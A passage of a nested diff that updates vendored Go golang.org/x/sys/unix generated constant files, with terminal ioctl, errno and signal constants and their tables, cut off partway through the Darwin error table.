-+ TIOCPKT = 0xffffffff80047470
-+ TIOCPKT_DATA = 0x0
-+ TIOCPKT_DOSTOP = 0x20
-+ TIOCPKT_FLUSHREAD = 0x1
-+ TIOCPKT_FLUSHWRITE = 0x2
-+ TIOCPKT_NOSTOP = 0x10
-+ TIOCPKT_START = 0x8
-+ TIOCPKT_STOP = 0x4
-+ TIOCREMOTE = 0xffffffff80047469
-+ TIOCSBRK = 0x2000747b
-+ TIOCSDTR = 0x20007479
-+ TIOCSETC = 0xffffffff80067411
-+ TIOCSETD = 0xffffffff80047401
-+ TIOCSETN = 0xffffffff8006740a
-+ TIOCSETP = 0xffffffff80067409
-+ TIOCSLTC = 0xffffffff80067475
-+ TIOCSPGRP = 0xffffffff80047476
-+ TIOCSSIZE = 0xffffffff80087467
-+ TIOCSTART = 0x2000746e
-+ TIOCSTI = 0xffffffff80017472
-+ TIOCSTOP = 0x2000746f
-+ TIOCSWINSZ = 0xffffffff80087467
-+ TIOCUCNTL = 0xffffffff80047466
-+ TOSTOP = 0x10000
-+ UTIME_NOW = -0x2
-+ UTIME_OMIT = -0x3
-+ VDISCRD = 0xc
-+ VDSUSP = 0xa
-+ VEOF = 0x4
-+ VEOL = 0x5
-+ VEOL2 = 0x6
-+ VERASE = 0x2
-+ VINTR = 0x0
-+ VKILL = 0x3
-+ VLNEXT = 0xe
-+ VMIN = 0x4
-+ VQUIT = 0x1
-+ VREPRINT = 0xb
-+ VSTART = 0x7
-+ VSTOP = 0x8
-+ VSTRT = 0x7
-+ VSUSP = 0x9
-+ VT0 = 0x0
-+ VT1 = 0x8000
-+ VTDELAY = 0x2000
-+ VTDLY = 0x8000
-+ VTIME = 0x5
-+ VWERSE = 0xd
-+ WPARSTART = 0x1
-+ WPARSTOP = 0x2
-+ WPARTTYNAME = "Global"
-+ XCASE = 0x4
-+ XTABS = 0xc00
-+ _FDATAFLUSH = 0x2000000000
-+)
-+
-+// Errors
-+const (
-+ E2BIG = syscall.Errno(0x7)
-+ EACCES = syscall.Errno(0xd)
-+ EADDRINUSE = syscall.Errno(0x43)
-+ EADDRNOTAVAIL = syscall.Errno(0x44)
-+ EAFNOSUPPORT = syscall.Errno(0x42)
-+ EAGAIN = syscall.Errno(0xb)
-+ EALREADY = syscall.Errno(0x38)
-+ EBADF = syscall.Errno(0x9)
-+ EBADMSG = syscall.Errno(0x78)
-+ EBUSY = syscall.Errno(0x10)
-+ ECANCELED = syscall.Errno(0x75)
-+ ECHILD = syscall.Errno(0xa)
-+ ECHRNG = syscall.Errno(0x25)
-+ ECLONEME = syscall.Errno(0x52)
-+ ECONNABORTED = syscall.Errno(0x48)
-+ ECONNREFUSED = syscall.Errno(0x4f)
-+ ECONNRESET = syscall.Errno(0x49)
-+ ECORRUPT = syscall.Errno(0x59)
-+ EDEADLK = syscall.Errno(0x2d)
-+ EDESTADDREQ = syscall.Errno(0x3a)
-+ EDESTADDRREQ = syscall.Errno(0x3a)
-+ EDIST = syscall.Errno(0x35)
-+ EDOM = syscall.Errno(0x21)
-+ EDQUOT = syscall.Errno(0x58)
-+ EEXIST = syscall.Errno(0x11)
-+ EFAULT = syscall.Errno(0xe)
-+ EFBIG = syscall.Errno(0x1b)
-+ EFORMAT = syscall.Errno(0x30)
-+ EHOSTDOWN = syscall.Errno(0x50)
-+ EHOSTUNREACH = syscall.Errno(0x51)
-+ EIDRM = syscall.Errno(0x24)
-+ EILSEQ = syscall.Errno(0x74)
-+ EINPROGRESS = syscall.Errno(0x37)
-+ EINTR = syscall.Errno(0x4)
-+ EINVAL = syscall.Errno(0x16)
-+ EIO = syscall.Errno(0x5)
-+ EISCONN = syscall.Errno(0x4b)
-+ EISDIR = syscall.Errno(0x15)
-+ EL2HLT = syscall.Errno(0x2c)
-+ EL2NSYNC = syscall.Errno(0x26)
-+ EL3HLT = syscall.Errno(0x27)
-+ EL3RST = syscall.Errno(0x28)
-+ ELNRNG = syscall.Errno(0x29)
-+ ELOOP = syscall.Errno(0x55)
-+ EMEDIA = syscall.Errno(0x6e)
-+ EMFILE = syscall.Errno(0x18)
-+ EMLINK = syscall.Errno(0x1f)
-+ EMSGSIZE = syscall.Errno(0x3b)
-+ EMULTIHOP = syscall.Errno(0x7d)
-+ ENAMETOOLONG = syscall.Errno(0x56)
-+ ENETDOWN = syscall.Errno(0x45)
-+ ENETRESET = syscall.Errno(0x47)
-+ ENETUNREACH = syscall.Errno(0x46)
-+ ENFILE = syscall.Errno(0x17)
-+ ENOATTR = syscall.Errno(0x70)
-+ ENOBUFS = syscall.Errno(0x4a)
-+ ENOCONNECT = syscall.Errno(0x32)
-+ ENOCSI = syscall.Errno(0x2b)
-+ ENODATA = syscall.Errno(0x7a)
-+ ENODEV = syscall.Errno(0x13)
-+ ENOENT = syscall.Errno(0x2)
-+ ENOEXEC = syscall.Errno(0x8)
-+ ENOLCK = syscall.Errno(0x31)
-+ ENOLINK = syscall.Errno(0x7e)
-+ ENOMEM = syscall.Errno(0xc)
-+ ENOMSG = syscall.Errno(0x23)
-+ ENOPROTOOPT = syscall.Errno(0x3d)
-+ ENOSPC = syscall.Errno(0x1c)
-+ ENOSR = syscall.Errno(0x76)
-+ ENOSTR = syscall.Errno(0x7b)
-+ ENOSYS = syscall.Errno(0x6d)
-+ ENOTBLK = syscall.Errno(0xf)
-+ ENOTCONN = syscall.Errno(0x4c)
-+ ENOTDIR = syscall.Errno(0x14)
-+ ENOTEMPTY = syscall.Errno(0x11)
-+ ENOTREADY = syscall.Errno(0x2e)
-+ ENOTRECOVERABLE = syscall.Errno(0x5e)
-+ ENOTRUST = syscall.Errno(0x72)
-+ ENOTSOCK = syscall.Errno(0x39)
-+ ENOTSUP = syscall.Errno(0x7c)
-+ ENOTTY = syscall.Errno(0x19)
-+ ENXIO = syscall.Errno(0x6)
-+ EOPNOTSUPP = syscall.Errno(0x40)
-+ EOVERFLOW = syscall.Errno(0x7f)
-+ EOWNERDEAD = syscall.Errno(0x5f)
-+ EPERM = syscall.Errno(0x1)
-+ EPFNOSUPPORT = syscall.Errno(0x41)
-+ EPIPE = syscall.Errno(0x20)
-+ EPROCLIM = syscall.Errno(0x53)
-+ EPROTO = syscall.Errno(0x79)
-+ EPROTONOSUPPORT = syscall.Errno(0x3e)
-+ EPROTOTYPE = syscall.Errno(0x3c)
-+ ERANGE = syscall.Errno(0x22)
-+ EREMOTE = syscall.Errno(0x5d)
-+ ERESTART = syscall.Errno(0x52)
-+ EROFS = syscall.Errno(0x1e)
-+ ESAD = syscall.Errno(0x71)
-+ ESHUTDOWN = syscall.Errno(0x4d)
-+ ESOCKTNOSUPPORT = syscall.Errno(0x3f)
-+ ESOFT = syscall.Errno(0x6f)
-+ ESPIPE = syscall.Errno(0x1d)
-+ ESRCH = syscall.Errno(0x3)
-+ ESTALE = syscall.Errno(0x34)
-+ ESYSERROR = syscall.Errno(0x5a)
-+ ETIME = syscall.Errno(0x77)
-+ ETIMEDOUT = syscall.Errno(0x4e)
-+ ETOOMANYREFS = syscall.Errno(0x73)
-+ ETXTBSY = syscall.Errno(0x1a)
-+ EUNATCH = syscall.Errno(0x2a)
-+ EUSERS = syscall.Errno(0x54)
-+ EWOULDBLOCK = syscall.Errno(0xb)
-+ EWRPROTECT = syscall.Errno(0x2f)
-+ EXDEV = syscall.Errno(0x12)
-+)
-+
-+// Signals
-+const (
-+ SIGABRT = syscall.Signal(0x6)
-+ SIGAIO = syscall.Signal(0x17)
-+ SIGALRM = syscall.Signal(0xe)
-+ SIGALRM1 = syscall.Signal(0x26)
-+ SIGBUS = syscall.Signal(0xa)
-+ SIGCAPI = syscall.Signal(0x31)
-+ SIGCHLD = syscall.Signal(0x14)
-+ SIGCLD = syscall.Signal(0x14)
-+ SIGCONT = syscall.Signal(0x13)
-+ SIGCPUFAIL = syscall.Signal(0x3b)
-+ SIGDANGER = syscall.Signal(0x21)
-+ SIGEMT = syscall.Signal(0x7)
-+ SIGFPE = syscall.Signal(0x8)
-+ SIGGRANT = syscall.Signal(0x3c)
-+ SIGHUP = syscall.Signal(0x1)
-+ SIGILL = syscall.Signal(0x4)
-+ SIGINT = syscall.Signal(0x2)
-+ SIGIO = syscall.Signal(0x17)
-+ SIGIOINT = syscall.Signal(0x10)
-+ SIGIOT = syscall.Signal(0x6)
-+ SIGKAP = syscall.Signal(0x3c)
-+ SIGKILL = syscall.Signal(0x9)
-+ SIGLOST = syscall.Signal(0x6)
-+ SIGMAX = syscall.Signal(0xff)
-+ SIGMAX32 = syscall.Signal(0x3f)
-+ SIGMIGRATE = syscall.Signal(0x23)
-+ SIGMSG = syscall.Signal(0x1b)
-+ SIGPIPE = syscall.Signal(0xd)
-+ SIGPOLL = syscall.Signal(0x17)
-+ SIGPRE = syscall.Signal(0x24)
-+ SIGPROF = syscall.Signal(0x20)
-+ SIGPTY = syscall.Signal(0x17)
-+ SIGPWR = syscall.Signal(0x1d)
-+ SIGQUIT = syscall.Signal(0x3)
-+ SIGRECONFIG = syscall.Signal(0x3a)
-+ SIGRETRACT = syscall.Signal(0x3d)
-+ SIGSAK = syscall.Signal(0x3f)
-+ SIGSEGV = syscall.Signal(0xb)
-+ SIGSOUND = syscall.Signal(0x3e)
-+ SIGSTOP = syscall.Signal(0x11)
-+ SIGSYS = syscall.Signal(0xc)
-+ SIGSYSERROR = syscall.Signal(0x30)
-+ SIGTALRM = syscall.Signal(0x26)
-+ SIGTERM = syscall.Signal(0xf)
-+ SIGTRAP = syscall.Signal(0x5)
-+ SIGTSTP = syscall.Signal(0x12)
-+ SIGTTIN = syscall.Signal(0x15)
-+ SIGTTOU = syscall.Signal(0x16)
-+ SIGURG = syscall.Signal(0x10)
-+ SIGUSR1 = syscall.Signal(0x1e)
-+ SIGUSR2 = syscall.Signal(0x1f)
-+ SIGVIRT = syscall.Signal(0x25)
-+ SIGVTALRM = syscall.Signal(0x22)
-+ SIGWAITING = syscall.Signal(0x27)
-+ SIGWINCH = syscall.Signal(0x1c)
-+ SIGXCPU = syscall.Signal(0x18)
-+ SIGXFSZ = syscall.Signal(0x19)
-+)
-+
-+// Error table
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "not owner"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "I/O error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "arg list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file number"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EWOULDBLOCK", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "not enough space"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "ENOTEMPTY", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "file table overflow"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "not a typewriter"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "ENOMSG", "no message of desired type"},
-+ {36, "EIDRM", "identifier removed"},
-+ {37, "ECHRNG", "channel number out of range"},
-+ {38, "EL2NSYNC", "level 2 not synchronized"},
-+ {39, "EL3HLT", "level 3 halted"},
-+ {40, "EL3RST", "level 3 reset"},
-+ {41, "ELNRNG", "link number out of range"},
-+ {42, "EUNATCH", "protocol driver not attached"},
-+ {43, "ENOCSI", "no CSI structure available"},
-+ {44, "EL2HLT", "level 2 halted"},
-+ {45, "EDEADLK", "deadlock condition if locked"},
-+ {46, "ENOTREADY", "device not ready"},
-+ {47, "EWRPROTECT", "write-protected media"},
-+ {48, "EFORMAT", "unformatted or incompatible media"},
-+ {49, "ENOLCK", "no locks available"},
-+ {50, "ENOCONNECT", "cannot Establish Connection"},
-+ {52, "ESTALE", "missing file or filesystem"},
-+ {53, "EDIST", "requests blocked by Administrator"},
-+ {55, "EINPROGRESS", "operation now in progress"},
-+ {56, "EALREADY", "operation already in progress"},
-+ {57, "ENOTSOCK", "socket operation on non-socket"},
-+ {58, "EDESTADDREQ", "destination address required"},
-+ {59, "EMSGSIZE", "message too long"},
-+ {60, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {61, "ENOPROTOOPT", "protocol not available"},
-+ {62, "EPROTONOSUPPORT", "protocol not supported"},
-+ {63, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {64, "EOPNOTSUPP", "operation not supported on socket"},
-+ {65, "EPFNOSUPPORT", "protocol family not supported"},
-+ {66, "EAFNOSUPPORT", "addr family not supported by protocol"},
-+ {67, "EADDRINUSE", "address already in use"},
-+ {68, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {69, "ENETDOWN", "network is down"},
-+ {70, "ENETUNREACH", "network is unreachable"},
-+ {71, "ENETRESET", "network dropped connection on reset"},
-+ {72, "ECONNABORTED", "software caused connection abort"},
-+ {73, "ECONNRESET", "connection reset by peer"},
-+ {74, "ENOBUFS", "no buffer space available"},
-+ {75, "EISCONN", "socket is already connected"},
-+ {76, "ENOTCONN", "socket is not connected"},
-+ {77, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {78, "ETIMEDOUT", "connection timed out"},
-+ {79, "ECONNREFUSED", "connection refused"},
-+ {80, "EHOSTDOWN", "host is down"},
-+ {81, "EHOSTUNREACH", "no route to host"},
-+ {82, "ERESTART", "restart the system call"},
-+ {83, "EPROCLIM", "too many processes"},
-+ {84, "EUSERS", "too many users"},
-+ {85, "ELOOP", "too many levels of symbolic links"},
-+ {86, "ENAMETOOLONG", "file name too long"},
-+ {88, "EDQUOT", "disk quota exceeded"},
-+ {89, "ECORRUPT", "invalid file system control data detected"},
-+ {90, "ESYSERROR", "for future use "},
-+ {93, "EREMOTE", "item is not local to host"},
-+ {94, "ENOTRECOVERABLE", "state not recoverable "},
-+ {95, "EOWNERDEAD", "previous owner died "},
-+ {109, "ENOSYS", "function not implemented"},
-+ {110, "EMEDIA", "media surface error"},
-+ {111, "ESOFT", "I/O completed, but needs relocation"},
-+ {112, "ENOATTR", "no attribute found"},
-+ {113, "ESAD", "security Authentication Denied"},
-+ {114, "ENOTRUST", "not a Trusted Program"},
-+ {115, "ETOOMANYREFS", "too many references: can't splice"},
-+ {116, "EILSEQ", "invalid wide character"},
-+ {117, "ECANCELED", "asynchronous I/O cancelled"},
-+ {118, "ENOSR", "out of STREAMS resources"},
-+ {119, "ETIME", "system call timed out"},
-+ {120, "EBADMSG", "next message has wrong type"},
-+ {121, "EPROTO", "error in protocol"},
-+ {122, "ENODATA", "no message on stream head read q"},
-+ {123, "ENOSTR", "fd not associated with a stream"},
-+ {124, "ENOTSUP", "unsupported attribute value"},
-+ {125, "EMULTIHOP", "multihop is not allowed"},
-+ {126, "ENOLINK", "the server link has been severed"},
-+ {127, "EOVERFLOW", "value too large to be stored in data type"},
-+}
-+
-+// Signal table
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "IOT/Abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "stopped (signal)"},
-+ {18, "SIGTSTP", "stopped"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible/complete"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {27, "SIGMSG", "input device data"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGPWR", "power-failure"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGPROF", "profiling timer expired"},
-+ {33, "SIGDANGER", "paging space low"},
-+ {34, "SIGVTALRM", "virtual timer expired"},
-+ {35, "SIGMIGRATE", "signal 35"},
-+ {36, "SIGPRE", "signal 36"},
-+ {37, "SIGVIRT", "signal 37"},
-+ {38, "SIGTALRM", "signal 38"},
-+ {39, "SIGWAITING", "signal 39"},
-+ {48, "SIGSYSERROR", "signal 48"},
-+ {49, "SIGCAPI", "signal 49"},
-+ {58, "SIGRECONFIG", "signal 58"},
-+ {59, "SIGCPUFAIL", "CPU Failure Predicted"},
-+ {60, "SIGGRANT", "monitor mode granted"},
-+ {61, "SIGRETRACT", "monitor mode retracted"},
-+ {62, "SIGSOUND", "sound completed"},
-+ {63, "SIGMAX32", "secure attention"},
-+ {255, "SIGMAX", "signal 255"},
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_darwin_386.go b/vendor/golang.org/x/sys/unix/zerrors_darwin_386.go
-index 1c68758b..6217cdba 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_darwin_386.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_darwin_386.go
-@@ -3,7 +3,7 @@
-
- // +build 386,darwin
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m32 _const.go
-
- package unix
-@@ -49,6 +49,86 @@ const (
- AF_UNSPEC = 0x0
- AF_UTUN = 0x26
- ALTWERASE = 0x200
-+ ATTR_BIT_MAP_COUNT = 0x5
-+ ATTR_CMN_ACCESSMASK = 0x20000
-+ ATTR_CMN_ACCTIME = 0x1000
-+ ATTR_CMN_ADDEDTIME = 0x10000000
-+ ATTR_CMN_BKUPTIME = 0x2000
-+ ATTR_CMN_CHGTIME = 0x800
-+ ATTR_CMN_CRTIME = 0x200
-+ ATTR_CMN_DATA_PROTECT_FLAGS = 0x40000000
-+ ATTR_CMN_DEVID = 0x2
-+ ATTR_CMN_DOCUMENT_ID = 0x100000
-+ ATTR_CMN_ERROR = 0x20000000
-+ ATTR_CMN_EXTENDED_SECURITY = 0x400000
-+ ATTR_CMN_FILEID = 0x2000000
-+ ATTR_CMN_FLAGS = 0x40000
-+ ATTR_CMN_FNDRINFO = 0x4000
-+ ATTR_CMN_FSID = 0x4
-+ ATTR_CMN_FULLPATH = 0x8000000
-+ ATTR_CMN_GEN_COUNT = 0x80000
-+ ATTR_CMN_GRPID = 0x10000
-+ ATTR_CMN_GRPUUID = 0x1000000
-+ ATTR_CMN_MODTIME = 0x400
-+ ATTR_CMN_NAME = 0x1
-+ ATTR_CMN_NAMEDATTRCOUNT = 0x80000
-+ ATTR_CMN_NAMEDATTRLIST = 0x100000
-+ ATTR_CMN_OBJID = 0x20
-+ ATTR_CMN_OBJPERMANENTID = 0x40
-+ ATTR_CMN_OBJTAG = 0x10
-+ ATTR_CMN_OBJTYPE = 0x8
-+ ATTR_CMN_OWNERID = 0x8000
-+ ATTR_CMN_PARENTID = 0x4000000
-+ ATTR_CMN_PAROBJID = 0x80
-+ ATTR_CMN_RETURNED_ATTRS = 0x80000000
-+ ATTR_CMN_SCRIPT = 0x100
-+ ATTR_CMN_SETMASK = 0x41c7ff00
-+ ATTR_CMN_USERACCESS = 0x200000
-+ ATTR_CMN_UUID = 0x800000
-+ ATTR_CMN_VALIDMASK = 0xffffffff
-+ ATTR_CMN_VOLSETMASK = 0x6700
-+ ATTR_FILE_ALLOCSIZE = 0x4
-+ ATTR_FILE_CLUMPSIZE = 0x10
-+ ATTR_FILE_DATAALLOCSIZE = 0x400
-+ ATTR_FILE_DATAEXTENTS = 0x800
-+ ATTR_FILE_DATALENGTH = 0x200
-+ ATTR_FILE_DEVTYPE = 0x20
-+ ATTR_FILE_FILETYPE = 0x40
-+ ATTR_FILE_FORKCOUNT = 0x80
-+ ATTR_FILE_FORKLIST = 0x100
-+ ATTR_FILE_IOBLOCKSIZE = 0x8
-+ ATTR_FILE_LINKCOUNT = 0x1
-+ ATTR_FILE_RSRCALLOCSIZE = 0x2000
-+ ATTR_FILE_RSRCEXTENTS = 0x4000
-+ ATTR_FILE_RSRCLENGTH = 0x1000
-+ ATTR_FILE_SETMASK = 0x20
-+ ATTR_FILE_TOTALSIZE = 0x2
-+ ATTR_FILE_VALIDMASK = 0x37ff
-+ ATTR_VOL_ALLOCATIONCLUMP = 0x40
-+ ATTR_VOL_ATTRIBUTES = 0x40000000
-+ ATTR_VOL_CAPABILITIES = 0x20000
-+ ATTR_VOL_DIRCOUNT = 0x400
-+ ATTR_VOL_ENCODINGSUSED = 0x10000
-+ ATTR_VOL_FILECOUNT = 0x200
-+ ATTR_VOL_FSTYPE = 0x1
-+ ATTR_VOL_INFO = 0x80000000
-+ ATTR_VOL_IOBLOCKSIZE = 0x80
-+ ATTR_VOL_MAXOBJCOUNT = 0x800
-+ ATTR_VOL_MINALLOCATION = 0x20
-+ ATTR_VOL_MOUNTEDDEVICE = 0x8000
-+ ATTR_VOL_MOUNTFLAGS = 0x4000
-+ ATTR_VOL_MOUNTPOINT = 0x1000
-+ ATTR_VOL_NAME = 0x2000
-+ ATTR_VOL_OBJCOUNT = 0x100
-+ ATTR_VOL_QUOTA_SIZE = 0x10000000
-+ ATTR_VOL_RESERVED_SIZE = 0x20000000
-+ ATTR_VOL_SETMASK = 0x80002000
-+ ATTR_VOL_SIGNATURE = 0x2
-+ ATTR_VOL_SIZE = 0x4
-+ ATTR_VOL_SPACEAVAIL = 0x10
-+ ATTR_VOL_SPACEFREE = 0x8
-+ ATTR_VOL_UUID = 0x40000
-+ ATTR_VOL_VALIDMASK = 0xf007ffff
- B0 = 0x0
- B110 = 0x6e
- B115200 = 0x1c200
-@@ -169,6 +249,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DLT_A429 = 0xb8
-@@ -390,6 +472,11 @@ const (
- FF1 = 0x4000
- FFDLY = 0x4000
- FLUSHO = 0x800000
-+ FSOPT_ATTR_CMN_EXTENDED = 0x20
-+ FSOPT_NOFOLLOW = 0x1
-+ FSOPT_NOINMEMUPDATE = 0x2
-+ FSOPT_PACK_INVAL_ATTRS = 0x8
-+ FSOPT_REPORT_FULLSIZE = 0x4
- F_ADDFILESIGS = 0x3d
- F_ADDFILESIGS_FOR_DYLD_SIM = 0x53
- F_ADDFILESIGS_RETURN = 0x61
-@@ -425,6 +512,7 @@ const (
- F_PATHPKG_CHECK = 0x34
- F_PEOFPOSMODE = 0x3
- F_PREALLOCATE = 0x2a
-+ F_PUNCHHOLE = 0x63
- F_RDADVISE = 0x2c
- F_RDAHEAD = 0x2d
- F_RDLCK = 0x1
-@@ -441,10 +529,12 @@ const (
- F_SINGLE_WRITER = 0x4c
- F_THAW_FS = 0x36
- F_TRANSCODEKEY = 0x4b
-+ F_TRIM_ACTIVE_FILE = 0x64
- F_UNLCK = 0x2
- F_VOLPOSMODE = 0x4
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -681,6 +771,7 @@ const (
- IPV6_FAITH = 0x1d
- IPV6_FLOWINFO_MASK = 0xffffff0f
- IPV6_FLOWLABEL_MASK = 0xffff0f00
-+ IPV6_FLOW_ECN_MASK = 0x300
- IPV6_FRAGTTL = 0x3c
- IPV6_FW_ADD = 0x1e
- IPV6_FW_DEL = 0x1f
-@@ -771,6 +862,7 @@ const (
- IP_RECVOPTS = 0x5
- IP_RECVPKTINFO = 0x1a
- IP_RECVRETOPTS = 0x6
-+ IP_RECVTOS = 0x1b
- IP_RECVTTL = 0x18
- IP_RETOPTS = 0x8
- IP_RF = 0x8000
-@@ -789,6 +881,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -884,6 +980,7 @@ const (
- NET_RT_MAXID = 0xa
- NET_RT_STAT = 0x4
- NET_RT_TRASH = 0x5
-+ NFDBITS = 0x20
- NL0 = 0x0
- NL1 = 0x100
- NL2 = 0x200
-@@ -1377,6 +1474,12 @@ const (
- WORDSIZE = 0x20
- WSTOPPED = 0x8
- WUNTRACED = 0x2
-+ XATTR_CREATE = 0x2
-+ XATTR_NODEFAULT = 0x10
-+ XATTR_NOFOLLOW = 0x1
-+ XATTR_NOSECURITY = 0x8
-+ XATTR_REPLACE = 0x4
-+ XATTR_SHOWCOMPRESSION = 0x20
- )
-
- // Errors
-@@ -1528,146 +1631,154 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "resource busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "device power is off",
-- 83: "device error",
-- 84: "value too large to be stored in data type",
-- 85: "bad executable (or shared library)",
-- 86: "bad CPU type in executable",
-- 87: "shared library version mismatch",
-- 88: "malformed Mach-o file",
-- 89: "operation canceled",
-- 90: "identifier removed",
-- 91: "no message of desired type",
-- 92: "illegal byte sequence",
-- 93: "attribute not found",
-- 94: "bad message",
-- 95: "EMULTIHOP (Reserved)",
-- 96: "no message available on STREAM",
-- 97: "ENOLINK (Reserved)",
-- 98: "no STREAM resources",
-- 99: "not a STREAM",
-- 100: "protocol error",
-- 101: "STREAM ioctl timeout",
-- 102: "operation not supported on socket",
-- 103: "policy not found",
-- 104: "state not recoverable",
-- 105: "previous owner died",
-- 106: "interface output queue is full",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "resource busy"},
-+ {17, "EEXIST", "file exists"},
